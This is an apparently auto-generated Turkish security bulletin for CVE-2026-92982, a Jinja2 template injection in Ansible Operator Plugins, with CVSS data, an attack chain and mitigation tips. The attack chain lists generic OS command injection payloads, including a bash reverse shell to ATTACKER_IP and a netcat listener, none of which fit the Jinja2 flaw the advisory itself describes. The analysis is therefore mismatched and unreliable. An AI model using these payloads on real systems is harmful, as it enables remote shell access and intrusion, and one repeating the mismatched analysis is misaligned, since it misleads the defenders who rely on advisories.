CWE-1336
A flaw was found in Ansible Operator Plugins. A low-privileged Kubernetes user can exploit a Jinja2 template injection vulnerability by crafting malicious custom resource (CR) specification values. These values are processed by Ansible without proper sanitization, allowing embedded Jinja2 expressions to be executed within the operator pod. This can lead to arbitrary code execution and privilege escalation, granting the attacker control over the operator's service account with cluster-wide permissions.
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
CVE-2026-92982
CVSS 8.5/10 · YÜKSEK · 15.10.2026
CWE: CWE-1336
Vector: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
🎯 AÇIK NEDİR?
OS Command Injection
Açıklama: A flaw was found in Ansible Operator Plugins. A low-privileged Kubernetes user can exploit a Jinja2 template injection vulnerability by crafting malicious custom resource (CR) specification values. These values are processed by Ansible without proper sanitization, allowing embedded Jinja2 expressions to be executed within the operator pod.
⚡ SALDIRI ZİNCİRİ
Saldırı adımları:
1. Test: ; id veya | id ile komut çalıştırılıp çalıştırılmadığı kontrol edilir.
2. Blind: ; sleep 5 ile gecikme oluşturulur.
3. Reverse shell: ; bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
4. Windows: & whoami / | dir C:\
5. Netcat listener: nc -lvnp 4444
🔧 Araçlar: commix, Metasploit, manual + netcat
🗺️ MITRE ATT&CK: T1059 (Command and Scripting Interpreter), T1190
🌍 GERÇEK DÜNYA ETKİSİ
Tüm gizli veriler okunabilir/çalınabilir; sistem verileri değiştirilebilir/silinebilir; hizmet tamamen devre dışı bırakılabilir; diğer sistemlere pivot mümkün.
🛡️ ÇÖZÜM VE MİTİGASYON
→ Üretici tarafından yayınlanan yamayı uygula.
→ Kullanıcı girdisini asla shell komutuna geçirme.
→ WAF kuralı ekle, anormal trafik için IDS alert oluştur.
⚠️ ACİLİYET
⚠️ Planlı bakım (2 hafta) — Yüksek seviye.
────────────────────────────────────────
[Kural Tabanlı Analiz] [💡 config.json dosyasına ai_key (Claude: sk-ant-... veya Groq: gsk_...) ekleyerek gerçek AI analizi kullanabilirsiniz]
[⚠️ AI key mevcut ancak istek başarısız — kural tabanlı analiz kullanıldı]